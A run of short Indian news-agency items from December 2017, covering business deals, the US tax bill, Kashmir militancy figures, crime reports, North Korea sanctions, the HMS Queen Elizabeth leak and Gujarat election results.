Many Indian high networth individuals, along with NRIs from the US, the UK, Singapore and the well informed local population see Kochi as an investment destination. Also, the infrastructure development in the city has resulted in the growth of luxury home market here, Puravankara Managing Director Ashish Puravankara said. ********************* Ljungstrom to supply air pre-heaters, gas-gas heaters in UP *



Power technology solutions provider Ljungstrom today said it has bagged a contract from Doosan Power Systems India (DPSI) to supply supply eight air pre-heaters and four gas-gas heaters for two supercritical thermal projects totaling 2,640 MW in Uttar Pradesh.

The company has bagged the contract for supplying the heaters for the Obra-C coal-fired electrical power plant in Sonebhadra district, and for the Jawaharpur coal-fired electrical power plant in Etah district, both in Uttar Pradesh, it said.

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The Republican-controlled US House of Representatives passed a landmark tax overhaul, bringing Donald Trump one step closer to a major legislative triumph as the first year of his presidency draws to a close.

Republicans received zero Democratic support as they passed the contentious USD 1.5-trillion package of tax cuts for businesses and individuals that critics say will particularly benefit the wealthy.

The most comprehensive revamp of the nation's tax code in three decades now heads to the Senate for a decisive vote expected to take place yesterday night.

Twelve House Republicans joined all Democrats in opposition, as Speaker Paul Ryan emphatically declared the bill passed by 227 votes to 203, drawing loud cheers and applause from Republicans in the chamber.

"Today we are giving the people of this country their money back," Ryan told his colleagues, framing the effort as a once-in-a-generation opportunity for change.

"This is their money after all!"



After the dramatic failure to repeal the health care law of his predecessor Barack Obama, Trump has pushed hard to get the tax cuts across the finish line.

While Trump has billed the tax package as a "Christmas gift" for the country, one Democrat, the liberal congresswoman Barbara Lee, branded the measure "a slap in the face to low and middle-income families."



The bill shifts to the Senate, where the margin of support appears to be tighter. Majority Leader Mitch McConnell said a final vote would likely occur during yesterday night's session.

"Congress is standing at the doorstep of an historic opportunity," said the veteran Senate Republican.

Should the Tax Cuts and Jobs Act make it into law it would be the Republicans' first major legislative victory in the 11 months since Trump's inauguration.

The Republican plan is projected to add nearly $1.5 trillion to the national debt over the coming decade, according to the Joint Committee on Taxation.

But that figure drops to about $1 trillion when economic growth is accounted for.

Ryan predicted the bill will give a needed jolt to the economy and to struggling American families.

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As many as 203 terrorists, the highest in the last four years, were killed by security forces in Jammu and Kashmir this year and the number of civilians killed in terror-related violence in the period was also the highest, the Centre informed Parliament today.

Union Minister of State for Home Hansraj Gangaram Ahir said in a written reply to the Lok Sabha 203 terrorists were killed in the state this year till December 10, as compared to 150 in calendar year 2016, 108 in 2015 and 110 in 2014.

Talking about the number of civilians killed in terror- related violence in the state, the minister said while 37 of them were killed till December 10 this year, 15 were killed in calendar year 2016, 17 in 2015 and 28 in 2014.

Terror-related incidents in the state till December 10 this year were also the highest at 335 as compared to 322 in calendar year 2016, 208 in 2015 and 222 in 2014, he added.

According to the data provided by the minister, while 75 security personnel were killed in Jammu and Kashmir till December 10 this year, 82 were killed in calendar year 2016, 39 in 2015 and 47 in 2014.

Replying to another question, Ahir said the trend of violence in the states affected by Left-Wing Extremism (LWE) had shown a decline since 2014.

"In the current year (till November 30), LWE violence has decreased by 17.4 per cent, from 984 (incidents) to 813, as compared to the corresponding period in 2016," he said.

Replying to another question about the situation in the north-east, Ahir said the overall security situation in the region had registered a substantial improvement in 2016, in terms of reduction in the numbers of violent incidents and security forces' casualties.

"In 2017, there has been a further improvement in the security situation in the region as the number of insurgency incidents has come down to 276 in the first 11 months of the year," he said.

The figure was 448 for the corresponding period last year.

"While the states of Sikkim, Mizoram and Tripura had no insurgency-related violence, the number of these incidents had come down in Assam, Nagaland, Manipur and Meghalaya in 2017 (till November 30), as compared to the corresponding period of 2016," Ahir added.

The minister, however, said there was an "increase" in the number of violent incidents in Arunachal Pradesh during the period.

Replying to a question on the situation in Jammu and Kashmir, Ahir said necessary directions were issued from time to time after reviewing the security situation of the state.

"In order to prevent the activities of militants, numerous steps have been taken, including strengthening of the operational grid with an enhanced human intelligence and use of technical intelligence grid," he added.

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Three persons, including a Punjab police constable, were arrested on charges of stalking and attempting to kidnap a Mohali based woman here, police said today.

The alleged incident comes just a few months after a senior Haryana IAS officer's daughter made similar allegations against two men, including Vikas Barala, son of Haryana BJP chief Subhash Barala, bringing to centre-stage the issue of women's safety.

The victim in a complaint lodged with the Chandigarh Police accused three persons of following her and then blocking her way on Sunday night in sector 36 here, police said today.

Acting on the complaint, the Chandigarh police arrested Jaskaran Singh (27), a constable posted in Mohali, and two of his friends -- Gurdas Singh and Karamveer Singh, both in their twenties.

The incident took place when the victim was returning home in her vehicle around midnight, she claimed. When she reached sector 36 in Chandigarh, the three accused started following her in their SUV, a police official said.

"The victim in her complaint claimed they tried to block her way. However, she managed to escape and then called the PCR for help," a police official said.

The three accused were nabbed and booked under several sections including section 341 (punishment for wrongful restraint), 354 -D (stalking) and 365 (kidnapping with intent to secretly, wrongfully confining a person) of the IPC, a police official said.

"They were sent to judicial remand by the court today," Chandigarh Deputy Superintendent of Police (South) Deepak Yadav said.

Yadav said the Chandigarh Police will intimate its counterparts in Punjab about the involvement of a Mohali police constable in the stalking incident.

In the month of August this year, a Haryana IAS officer's daughter had accused state BJP chief's son Vikas Barala and one of his friends of stalking and attempting to abduct her.

This stalking incident had triggered widespread outrage and a spate of protests.

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India said today that its level of engagement with ASEAN was determined by the opportunities of cooperation and not influenced by any third country, an apparent reference to China.

Ministry of External Affairs spokesperson Raveesh Kumar said Myanmar acts as a bridge with ASEAN countries which is why India has initiated the Kaladan Multi-Modal Transit Transport Project that includes the India-Myanmar-Thailand tri-lateral highway.

This project will greatly benefit Indian farmers and traders to sell their products in Southeast Asian countries.

Responding to a question on how can India help ASEAN countries counter China in South China Sea, Kumar said, "We do not come to their help because of someone else."



"Similarly, when India and ASEAN come together for cooperation it is because there is lot to cooperate. It is not because of any third country." he said, without naming China.

Kumar said India supports countries to have dialogue with each other to solve any problem, a comment seen as a reference to the South China Sea where ASEAN countries like Brunei, Vietnam and the Philippines are embroiled in a dispute with China.

He made the remarks while responding to question during the social media interactive session #AsktheSpokesperson: India-ASEAN Commemorative Summit.

Kumar said that India and ASEAN are working to make the visa process for its citizens simpler.

"India will also launch 11 stamps in the coming days, commerating 25 years of relations between India and ASEAN," he said.

Leaders of ASEAN countries will be the guest for the Republic Day Parade next year.

The Association of Southeast Asian Nations (ASEAN) is a regional organisation comprising ten Southeast Asian states.

It is comprised of Indonesia, Malaysia, the Philippines, Singapore and Thailand, Brunei, Cambodia, Laos, Myanmar and Vietnam.

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The Titagarh Group is looking to explore investment opportunities in Morocco's expanding rail sector.

"It is very opportune time to look for ties with Morocco. They are new entrants in the African Union and close to Europe. We are for more investment," Titagarh Group CEO Umesh Chowdhary told PTI after meeting a Moroccan delegation here.

"We are discussing various possibilities in the rail sector. They (Morocco) are very pro-business," he added.

Titagarh Group had sent a delegation to Morocco in September to explore investments opportunities in the North African country's rail space.

The Indian delegation also met with officials from Morocco's rail transport company, ONCF and visited the site of the high-speed railway in Tangier.

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Thane Municipal Corporation has planned an investment outlay of Rs 5,493 crore to make the city smart, a senior official said.

"We have planned an investment of Rs 5,493 crore to transform Thane into a smart city. The investment will be made mainly in the area development," additional municipal commissioner Sunil Chavan said at a CII event on smart cities here today.

He said the Corporation has already undertaken various development projects like building roads, encouraging non-motorised transport like footpaths and bicycle tracks to make the city more liveable and citizen friendly.

"To ease the increasing pressure of existing Thane railway station, an alternative railway station is planned between Thane and Mulund with an investment of Rs 300 crore. While Rs 120 crore would be utilised for the station, the rest will be deployed for development of the area around the station," Chavan said.

This railway station, to be built on 15 acre of land parcel, will be named 'New Thane'.

"We will be spending Rs 70 crore for building a solar rooftop project on the station," Chavan said.

In a recent development, Tel Aviv Municipality has joined hands with Thane to replicate the civic transformation it underwent, using digital technologies, in the city.

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China, the world's biggest polluter, unveiled plans today for a national carbon market likely to become the world's largest exchange for emissions credits.

Environmentalists praised the move as an important step in the battle against climate change as China burns more coal than any other country, giving it the ignominious title of top greenhouse gas emitter.

Although the long-delayed emissions exchange scheme will initially cover just the power generation sector, it is expected to surpass the European Union's carbon market, currently the world's biggest.

"The purpose of this programme is to reduce greenhouse gas emissions," said Zhang Yong, vice chairman of China's National Development and Reform Commission.

The country is the largest investor in renewable energy but has faced an uphill battle transitioning from coal, which is used to generate roughly three-quarters of its power according to the International Energy Agency.

China is seen as a potential leader in the fight against climate change after the US retreated from the Paris accord.

"The world has never before seen a climate programme on this scale," said Fred Krupp, president of the Environmental Defense Fund (EDF), which provided technical assistance to pilot carbon trading programmes in China.

"China has stepped up its climate leadership dramatically in recent years, and is now increasingly seen as filling the leadership void left by the US," Krupp said in a statement.

The emission exchange outlined by the National Development and Reform Commission may slowly change the calculus for utilities and other coal-burners.

"We aim to reduce emissions through market-based mechanisms," Zhang said, adding that the immediate focus for establishing the carbon credits exchange is on the power generation industry.

"Some 1,700 electric companies emitted more than three billion tonnes of carbon," Zhang said.

"This is where we will get to it," he said, without giving more details, including the programme's timeline.

The project expands on the lessons learned from seven provincial and city carbon exchanges.

"With just emissions trading in the power generation industry, the scale will exceed that of every country in the world," said Li Gao, an official in the commission's climate change department.

Coal generates most of the nation's power but the country has moved rapidly this winter to limit the dirty fuel's use in northern China, though it had to reauthorise it in some areas due to natural gas shortages.

EDF said China's power sector represents 39 percent of the nation's total emissions.

The EU Emissions Trading System puts a cap on the amount of carbon dioxide allowed to be emitted by large factories and other companies.

The firms can trade in quotas of these emissions - the idea being to provide a carrot to improve energy efficiency or switch to cleaner sources so that they keep within the ceiling.

But the EU last month agreed to reform the ETS as critics said the market, which covers about 40 per cent of Europe's industrial emissions, has proven ineffective.

Carbon allowances were too generous, resulting in a carbon price too low to encourage savings.

Carbon Market Watch, which scrutinises such trading schemes, said a "number of uncertainties remain" around China's plan, including concerns over the quality of emissions data and the measuring, verification and reporting systems in many Chinese provinces.

Nevertheless, Femke de Jong, policy director at Carbon Market Watch, said: "The launch of the Chinese carbon market shows that there is increased commitment around the world to price pollution and direct investments into clean technologies.

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Turkey's president is calling on nations to back a non-binding resolution that is expected to be brought to the UN General Assembly and seeks the cancellation of President Donald Trump's declaration of Jerusalem as Israel's capital.

Recep Tayyip Erdogan made the appeal today during a joint conference with Djibouti President Ismail Omar Guelleh, a day after the US vetoed such a resolution in the UN Security Council.

Fourteen other members of the Security Council supported the resolution a move Erdogan described as "important and meaningful."



The Turkish leader said: "I invite all UN member countries to defend Jerusalem's historic status (in the 193- member General Assembly)."



Erdogan has been among the most vocal critics of Trump's decision to recognise Jerusalem.

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Two Jaish-e-Mohammad terrorists were gunned down by security forces in an overnight encounter in the Shopian district of Jammu and Kashmir while a woman also died after getting hit in the crossfire, police said today.

According to a police spokesperson, the slain militants were involved in several terror incidents including an attack on the vehicle of Jammu and Kashmir Bank near Poju in Shopian on December 11 in which two guards were killed.

Security forces launched a cordon and search operation in the Wanipora area of Shopian last evening following information about the presence of militants in the area, a police official said.

The search operation turned into an encounter as militants opened fire, he added.

"Two militants were killed while a third apparently managed to escape from the spot," the official said.

He said that a lady was injured during the exchange of fire. She was shifted to a hospital but succumbed to her injuries.

Some miscreants pelted stones at security forces during the operation, prompting the use of crowd control weapons including tear gas to disperse them, he said.

People should refrain from going near the encounter site as the area has not yet been sanitised, the official added.

Meanwhile, a police spokesman said two security personnel -- one from the Army and a policeman -- were injured during the operation.

Giving details , the spokesman said during the encounter, at the request of his family, police officials made repeated announcements asking local militant Tanveer Ahmad to surrender but he ignored the offer.

"The terrorists continued firing on the security forces which was retaliated. Two Jaish-e-Mohammad terrorists were killed in this encounter and were identified as Tanveer Ahmad from Bata Murran, Shopian, and Ali alias Qari, a foreigner. Two AK rifles and other allied ammunition were recovered from the encounter site," he said.

The spokesman said that another terrorist fled from the encounter site taking advantage of the darkness.

"During cross-firing, one lady identified as Ruby, wife of Manzoor Ahmad Mir was critically injured. She later succumbed to injuries at district hospital Pulwama," he added.

The official said that nine civilians were injured adding their condition was said to be stable.

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A Kashmiri student and his brother were allegedly attacked here by a group of people for not speaking in Kannada, police said.

The incident occurred a week ago but came to light only yesterday, police said today.

"We arrested two persons by name Mahesh and Harish for attacking the Kashmiri boys. Both are now out on bail," Deputy Commissioner of Police (Bengaluru North) Chetan SinghRathor said.

Police said Mahesh is a fashion designer and Harish a driver.

A friend of the victims, requesting anonymity, said the student, studying in a college here, and his brother were returning home in a car on the wee hours of December 11 when a phone call came.

As he stopped the car and started talking over phone,two motorcycle-borne youths reached there and asked them something in Kannada.

The student told them that he did not know Kannada. Making itan issue, the youth insisted that they speak in Kannada.

"Whenhe and his brother objected, the youth called a few more people and started hitting them with stones. They even damaged their car," said the friend.

The two suffered injuries in the incident and treated at a nearby hospital.

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Two suspected criminals were allegedly killed in Kharbi area of the city today in what appears to be the case of a gang rivalry, police said.

Police initially received a call that three persons were injured in an accident in the area in the early hours today, an official said.

After police reached the spot and rushed all of them to the government hospital, doctors there declared two of them as brought dead, Nandanvan police station sub-inspector Mahendra Singh Thakur said.

However, when police scanned the CCTV footage of Kharbi area, they realised that the trio were attacked by unidentified persons with iron rods.

The deceased were identified as Sanjay Banode and Badal Shambharkar while the injured man as Rajesh Yadav.

Thakur said Banode and Shambharkar had a number of criminal cases against them.

He suspected that the duo could have been attacked by a rival gang.

Police said further investigation was on.

The incident occurred at a time when the winter session of the Maharashtra legislature is on in the second capital of Maharashtra here.

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Two night guards of the Kundaghat reservoir project in Bihar's Jamui district have been hacked to death and investigation is on to ascertain whether LWEs were involved, police said today.

Superintendent of Police Jayantkant said the incident took place yesterday night when three guards were on duty to keep secure the equipment and other materials of the project.

While two guards were hacked to death in a field near Dudhpaniya village, the third managed to escape, he said.

The killed guards have been identified, he added.

The SP and Sikandra police station SHO, Veerbhadra Singh reached the spot this morning.

The reason behind the killings is being investigated, the SP said adding it was also being probed awhether it was the handiwork of left wing extremists.

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Two women were today charred to death and the driver was injured when the car they were travelling in caught fire in Chitalwana police station area of Rajasthan's Jalore district, police said.

The car engulfed in flames when the occupants were on their way home in Sisawa village after attending a marriage function, Chitalwana SHO Teju Singh said.

The deceased were identified as Daria Devi (25) and Mali Devi (27), he said.

The driver, Deepa Ram, could save himself only after breaking the car's window. He, however, sustained burn injuries and was admitted to a hospital.

While the immediate cause of the fire could not be ascertained, police suspect it might have been triggered by the gas kit fitted with the car.

The bodies of the deceased have been kept in mortuary for post mortem, they said.

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The UK's new 3.1 billion-pound aircraft carrier HMS Queen Elizabeth is leaking and taking on up to 200 litres of sea water every hour because of a faulty seal, a Royal Navy spokesman confirmed today, after less than two weeks in service.

The 280 metres-long and with an estimated 50-year working life, the carrier is the biggest and most powerful built by the UK.

The Royal Navy's future flagship, which was commissioned by Queen Elizabeth II on December 7 in Portsmouth, has a problem with one of its propeller shafts.

The fault on the carrier was first identified during sea trials, the BBC reported.

A Royal Navy spokesman said the ship was scheduled for repair and the fault did not prevent it from sailing again early in the new year.

According to the Sun newspaper, HMS Queen Elizabeth has been taking on up to 200 litres of sea water every hour - the capacity of fish tank measuring 100cm x 50cm x 40cm - because of the fault.

The Navy spokesman said: "An issue with a shaft seal has been identified during HMS Queen Elizabeth's sea trials; this is scheduled for repair while she is alongside at Portsmouth.

"It does not prevent her from sailing again and her sea trials programme will not be affected," he said.

The Royal Navy is trying to play down the problem, after first trying to hide it, the BBC report said, describing the as "clearly embarrassing."



British Defence Secretary Gavin Williamson said the cost of the repair would be funded by the contractors that built it.

"This is the reason why we have the sea trials, to make sure that everything is working absolutely perfectly. This is something that work is currently ongoing to deal with," he said.

HMS Queen Elizabeth was built by the Aircraft Carrier Alliance, a grouping of BAE Systems, Babcock and Thales.

Blocks were completed at six yards - before being assembled at Rosyth Dockyard in Fife.

BAE Systems, which confirmed the affected section was built at its site in Govan, said the repair would be done in the new year and take a few days.

The company said: "It is normal practice for a volume of work and defect resolution to continue following vessel acceptance. This will be completed prior to the nation's flagship recommencing her programme at sea in 2018."



Rear Admiral Chris Parry, a former director of operational capability at the Ministry of Defence, said the headlines were "very embarrassing" but the leak "in reality is no big deal".

"You expect to take some water in when you're operating a warship at sea," he told the BBC, adding that was why they are equipped with pumps.

He said: "It's been out for sea trials, it's been under pressure. They've been testing all their systems to the extremes and I'm afraid to say this is what happens at sea."



The HMS Queen Elizabeth entered its home port of Portsmouth for the first time in August after starting two months of sea trials from Rosyth.

A second carrier, HMS Prince of Wales, is externally complete but it will take 18 months to fit its internal systems at Rosyth and it will be 2019 before the ship can begin sea trials.

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UN Secretary General Antonio Guterres has strongly condemned the terrorist attack on a church during a mass in Pakistan's restive southwestern city of Quetta which killed nine people and injured 44 others.

"The Secretary-General strongly condemns the attack on a Methodist church in Quetta, Pakistan," a UN statement attributable to his spokesperson said.

Guterres extended his sincere condolences to the families of the victims and wishes speedy recovery to those injured.

"He calls for the perpetrators of the attack to be brought to justice," the statement said.

Two suicide bombers attacked a packed church on Sunday in Quetta, killing nine people and injuring 44 others in a targeted assault on the minority Christian community, which was claimed by the the Islamic State.

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The Uttar Pradesh Assembly tonight passed the supplementary budget totalling Rs 11,388.17 crore with a focus on development of infrastructure like road, power, health, panchayati raj and schemes for the welfare of poor and downtrodden sections.

There is a provision of Rs 1,215 crore for constructing toilets under the Swachch Bharat Mission (rural), while Rs 759.48 crore has been earmarked for power, Rs 519 crore for construction of PWD roads and bridges, Rs 390 crore for free sweaters to students of class I-XII in schools run by Madhyamik Shiksha parishad, and Rs 413.18 crore for Pradhan Mantri Awas Yojana (Gramin).

Besides, there is a provision of Rs 10 crore for construction of Kailash Mansarovar bhawan, Rs 40 crore for expansion and beautification of roads between river Ganga and Kashi Vishwanath temple in Varanasi and Rs 75 lakh for strengthening of government Baudh museum in Gorakhpur.

There is a provision of Rs 16 lakh for an all-India prize money kabaddi tournament at Gorakhpur in the memory of Mahant Avaidyanath.

This is the first supplementary budget of the Adityanath government, which had brought its annual budget of Rs 3,84,000 crore in July after storming to power in March.

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Giving assurance of a consistent and supportive policy environment, Uttar Pradesh Industries Development Minister Satish Mahana today invited investors and industrialists from Andhra Pradesh and Telangana to explore possibilities of investing in UP.

"We have come up with a very progressive industrial policy after holding detailed discussions with industries and industry associations. We have big potential area and we welcome industries from Andhra Pradesh and Telangana and across the country to Uttar Pradesh now," Mahana, told reporters here.

He was speaking on the sidelines of a Road Show held here to attract investors to attend the UP Investors Summit on February 21 and 22.

According to the minister, "Previously there was a disconnect between the government and industry. Now, UP is changing and the opinion towards the state has rapidly changed".

Welcoming the start-up community of Hyderabad, Mahana shared the vision of UP government to emerge as a start-up destination by fostering a culture of innovation and entrepreneurship.

Speaking on the recently launched IT & Start up Policy 2017, Mahana also highlighted the intention of the government led by Chief Minister Yogi Adityanath, to create world-class infrastructure and incubators to support start-ups in the state.

"Hyderabad is known for its Information Technology and Electronics industry. We would certainly like to invite leading companies in these sectors to come to Uttar Pradesh and explore possibilities of investing in the state," said Anup Chandra Pandey, Infrastructure and Industrial Development Commissioner.

Welcoming investments across all the focus sectors of the state like IT, electronics, manufacturing, food processing, energy, textiles among others Pandey laid his emphasis on the recently launched MSME policy of Uttar Pradesh.

The country's largest Incubator is also proposed to be established in Uttar Pradesh, said Sanjiv Saran, Additional Chief Secretary, Department of IT & Electronics.

"In UP already 2,000 start ups are functioning and we would like to provide infrastructure to them by way of setting up a large incubator similar to the one here in Hyderabad. We are setting up this incubator in Lucknow," Saran said.

"A fund of funds with a corpus of Rs 1,000 crore will be instituted to provide growth capital to UP-based start-ups," he said.

The officials further said a revised film policy will be brought out in the next 15-days.

According to an official release, V Prasanna Reddy, Whole-Time Director, GVK Power & Infrastructure Limited has expressed interest to invest in upcoming airports, specially jewar airport and also in the power sector.

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The Uttar Pradesh Police today directed all district police chiefs to ensure that Christmas festivities go smoothly without any untoward incident, two days after the Hindu Jagran Manch warned Aligarh schools against celebrating the festival.

ADG (Law and Order) Anand Kumar also directed all district police chiefs of the state to ensure the freedom of practising one's religion is protected and appropriate action should be taken in this regard.

"The Aligarh SSP (senior superintendent of police) and all district police chiefs have been directed to take strict legal action against those indulging in intimidation of any sort," he said.

This directive comes after the Hindu Jagran Manch, an RSS affiliate, issued a circular on Sunday, threatening the management of all Aligarh schools against celebrating Christmas saying, if they did so, it would be "at their own risk".

"The circular would be reaching all schools very shortly and we will decide a course of action on receiving their response," Sonu Savita, city president of the Hindu Jagran Manch, told reporters in Aligarh on Sunday.

Aligarh SSP Rajesh Pandey has, however, made it clear that the district authorities would not allow anyone to force any school not to observe or celebrate Christmas.

All school managements have been assured that full security would be provided to them on Christmas and no one would be allowed to take law into their own hands, Pandey told PTI yesterday.

Expressing concern over this, Praveen Agarwal, president of the Public School Development Society (Aligarh), said, "Each year we celebrate festivals belonging to all communities and this experience helps our children to play a responsible role as citizens of this country."



The Manch was in the last month when it announced its decision to launch a "reverse love jihad" campaign by setting a target of 2,100 Muslim brides for Hindu men in the next six months under a campaign called "beti bachao, bahu lao".

Last year, the right-wing group launched its "anti-love jihad" and "save Hindu girl" campaign in Uttar Pradesh, where they planned to hold classes in all schools run by its parent organisation to "educate" youngsters about the "ill-effects" of marrying a Muslim.

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The Uttar Pradesh Assembly today witnessed noisy scenes with the opposition and treasury benches trading charges over the government's "wrong statement" in connection with the recovery of "explosive" from the House in July.

The matter, which came up in the Zero Hour, saw Leader of the Opposition Ram Govind Chaudhry alleging that the Leader of the House (or the chief minister) made the announcement about the alleged explosive without getting it properly examined.

He also said that two Samajwadi Party members were "improperly" questioned by the security agencies in this regard.

"What was said about the recovery of the explosive near Opposition benches was like a message that the Opposition was involved in terror activities...two of our members were questioned and this amounted to breach of their privileges," Chaudhary contended.

As Chaudhary called for punishing the Leader of the House, state Parliamentary Affairs Minister Suresh Khanna was on his feet, asserting that there cannot be any compromise on security when the entire world was facing the menace of terror.

As the minister asked the Opposition not to act irresponsibly, SP members rushed into the Well of the House raising slogans, leading to adjournment of the House for 50 minutes.

Power Minister Srikant Sharma was heard charging the Opposition, especially the SP, with attempting to hijack the House proceedings and showing arrogance.

In an embarrassment to the Adityanath-led government, the NIA, which was directed to probe the 'explosive' found in the Assembly, had said that the powdered substance was not highly explosive PETN.

The state government had also suspended Forensic Lab director Shiv Bihari Upadhyay for his wrong report on the recovery of PETN in Assembly.

When the House reassembled, Chaudhary stressed that a proper probe was required before making the announcement as the wrong statement belittled the respect of the House and its members.

Ajay Kumar Lallu (Cong) alleged that the Leader of the House created an atmosphere of fear by making the announcement which turned out to be false and asked him to take it back, prompting the BJP members to lodge a strong protest.

Lalji Verma (BSP) questioned as to why the announcement of the recovery of the suspicious looking substance came from the government instead of the Speaker.

Adityanath, who arrived in the House after it reassembled, said that the announcement was made after the matter was discussed in all-party meeting and he had got the feedback from the then director of FSL, who was eventually dismissed from service.

"Is the respect of an individual more important than that of the entire House...it was our moral responsibility and we did what was expected of us... what if the recovered substance was actually an explosive...explosions do not wait for anyone," he said recalling the attack on Parliament.

"There is no need to do over the issue...ours is the policy of zero tolerance on the issue of security," the chief minister said, regretting that unparliamentary language is being used in the House since yesterday.

"Instead of issues, personal attacks are being made...the respect of the House is lowered when Opposition throw paper balls on Governor and indulge in whistling," he said.

"Our alertness will give security...there is freedom of expression but it is not infinite," he stressed.

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Though people turned up in large numbers to attend Patidar leader Hardik Patel's anti-BJP rallies in the cities of Gujarat, they ended up voting for the saffron party, which won nearly one-third of their total of 99 seats from eight major cities in the state.

Patel had supported the Congress in the polls.

Though there was a minor dent of two seats in its urban seat tally in comparison to 2012, the BJP managed to retain the support of most of its urban voters.

On the other hand, rural voters put more trust on the Congress, which improved its rural tally significantly.

Out of the total 42 urban seats in Gujarat, the BJP won 36, while six went to the Congress. In 2012, the BJP's urban tally was 38 while the Congress bagged four seats - two in Ahmedabad and one each in Rajkot and Jamnagar city.

The 42 seats are spread across eight major cities with a municipal corporation.

In Ahmedabad city, which has 16 seats, the BJP won 12, and the Congress, four. In 2012, the tally was 14 and two respectively. Apart from retaining the Dariyapur and Danilimda(SC) seats, the Congress emerged victorious from Bapunagar and Jamalpur-Khadia this time.

The two parties won a seat each in Gandhinagar city, while Junagadh city's one seat, earlier held by the BJP, went to the Congress.

Barring these cities, the BJP made a clean sweep in the other mega urban areas.

It won all the three seats of Rajkot, both the seats of Jamnagar, the two urban seats of Bhavnagar, all the five seats of Vadodara city and all 11 seats of Surat city.

On the other hand, the BJP lost its grip on rural areas, where voters gave a thumbs up to the Congress.

Poll results show the BJP lost 14 rural seats while the opposition added the same number of seats to its tally.

In 2012, the Congress had won 57 seats in the rural areas, while the BJP had bagged 77 seats.

Though the BJP was banking on the issue of the completion of the Narmada dam and the ensuing positive effects on rural Gujarat, the results showed that voters drifted towards the Congress, whom the BJP blamed for delaying the project.

The Congress's total shot up to 71 from the 57 it had won five years ago, marking an increase of 14 seats in rural Gujarat, where there are 140 seats.

The BJP's tally from the region was reduced from 77 in 2012 to 63, a drop of 14 seats.

BJP candidates in Amreli, Gir Somnath and Morbi districts, with large rural populations, could not win a single seat.

The BJP managed to retain power in Gujarat, the home state of Prime Minister Narendra Modi, by winning 99 seats in the 182-member Assembly.

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The United States has asked the UN Security Council to blacklist ten ships for carrying banned cargo from North Korea, according to the request obtained by AFP today.

The vessels including two Hong Kong-flagged ships and two North Korean tankers will be barred from entry into ports worldwide if the council approves the request.

A sanctions committee set a deadline of 3:00 pm (local time) Thursday for council members to raise objections to the proposed global port ban.

The request targets the Hong Kong-flagged oil tanker Lighthouse Winmore, the Palau-flagged oil tanker Billions No. 18, the cargo carrier Xin Sheng Hai from Belize and the Hong Kong-flagged cargo ship Kai Xiang.

Two North Korean cargo vessels, Ul Ji Bong 6 and Rung Ra 2 along with two oil tankers Sam Jong 2 and Rye Song Gang 1 are on the proposed blacklist as are the Chinese tugboat Yu Yuan and the Glory Hope 1 (also known as Orient Shenyu), a Panama-flagged cargo ship.

In October, the council slapped a global port ban on four vessels found carrying North Korean coal, seafood and iron ore, which are banned under UN council resolutions.

The Security Council has slapped export bans on coal, iron, lead, textiles and seafood, restricted joint ventures and blacklisted a number of North Korean companies in response to Pyongyang's missile and nuclear tests.

It has capped oil deliveries to North Korea and the United States has asked China to cut off crude supplies altogether, a move that would deal a crippling blow to North Korea's economy.

The sanctions are aimed at choking off revenue to Pyongyang's military programs and piling pressure on leader Kim Jong-Un to come to the negotiating table.

US Secretary of State Rex Tillerson told the council last week that North Korea must "earn its way back to the table" and vowed that the "pressure campaign must and will continue until denuclearization is achieved."



The blacklisting of the ten vessels is allowed under a provision of a resolution adopted in September that bars ships from carrying goods banned from export from North Korea.

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The US cannot tolerate a nuclear armed North Korea, America's national security advisor said today, asserting that such a development would pose a grave security threat to the countries in the region and the world.

"I don't think we can't tolerate that risk. The world can't tolerate that risk. I mean, if North Korea has a nuclear weapon, I mean, who are you going to try to prevent getting one? Look at the behavior of this regime, the hostility of this regime to the whole world," US National Security Advisor Lt Gen H R McMaster told CBS .

The United States, he said, is applying maximum pressure to North Korea to convince Kim Jong-Un that this is a dead end, this pursuit of nuclear weapons and an intercontinental ballistic missile -- long range ballistic missile which of course poses a grave danger to the whole world.

"So what you've seen is an effort led by the President worldwide really though to isolate that regime, to cut off not just what is restricted by the current national -- the current UN Security Council resolutions but to do more," he said.

President Donald Trump has asked all nations to cut off all trade with this rogue regime which has never met a weapon it didn't use or proliferate or sell to somebody else, he said.

"You saw that with the cyber attacks you just discussed and you saw it with the murder of Kim Jong Un's brother in a public airport with a banned nerve agent. So this is a regime that can't get this - this destructive capability," he asserted.

McMaster said Trump wants all nations to do more. It just doesn't make sense that Russia would increase trade and alleviate any pressure on the North Korean regime, he added.

"Of course, North Korea poses a grave direct threat to all nations including China and Russia, but what happens when North Korea gets this capability? What if other nations in the region arm in this way and that's going to be even more destabilizing and of course, as I mentioned, North Korea has never met a weapon it didn't try to sell to somebody else," he said.

Responding to a question, McMaster said this is not the time to hold talks with the North Koreans.

"What he means is, there can't be negotiations under these current conditions. The north has to show initial steps toward denuclearization and the reason for this is previous approaches to negotiating with North Korea have failed miserably," he said.

"What the regime does is they enter into negotiations, all the while they continue these very destructive programs, these talks often times end in a -- in a weak agreement and then North Korea immediately violates that agreement.

"The problem is now that their programs have advanced so far we don't have time to do that again and so we can't repeat the failed pattern of the past," the top official said.

McMaster said Russia and the United States should cooperate on North Korea.

"There's no way that a nuclear armed North Korea is in Russia's interest and the President made that clear to President Putin on the phone call," he added.

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The Enforcement Directorate today opposed in a court here the bail plea of an LIC agent, chargesheeted in a money laundering case allegedly involving Himachal Pradesh Chief Minister Virbhadra Singh, saying the charges against him were grave.

The ED told Special Judge Santosh Snehi Mann that the investigation in the case was at a crucial stage and if granted the relief, Chauhan, who was arrested on July 9 last year, could tamper with evidence and flee from justice.

Special public prosecutor N K Matta, appearing for the ED, said the probe in the case was going on and the agency was likely to file a supplementary charge sheet in a month.

The accused alleged that the agency was probing "luxuriously" against the other accused while he was in custody since July 9 last year.

"The main accused, including Singh and his wife Pratibha Singh, are yet not chargesheeted while they (ED) oppose my bail even after so many months," senior advocate Rebecca John, appearing for Chauhan, said.

She also told the court that all the accused, who were chargesheeted in the CBI case along with Chauhan, were granted bail by the court.

"You keep one man in custody and probe luxuriously against the others," the advocate said.

The court will pronounce the order on December 23.

The accused, currently in judicial custody, has claimed in his application moved through advocate Tarannum Cheema that he was not required for the purpose of investigation and has already spent over a year in prison since his arrest in July last year under the provisions of Unlawful Activities Prevention Act (UAPA).

The accused was earlier denied similar relief by the court and later the Delhi High Court.

In the present application, the accused has cited a recent Supreme Court judgement striking down a stringent condition for securing bail in money laundering cases.

Chauhan was arrested from Chandigarh in July last year under the provisions of Prevention of Money Laundering Act (PMLA) as he was allegedly not cooperating with the investigating officer.

The ED had alleged that during Chauhan's interrogation, it was found that as an LIC agent he had entered into a modus operandi to launder disproportionate assets by investing in LIC policies.

The agency had alleged that Singh "while serving as a Union minister, invested huge amounts in purchasing LIC policies in his own name and that of his family members through Chauhan".
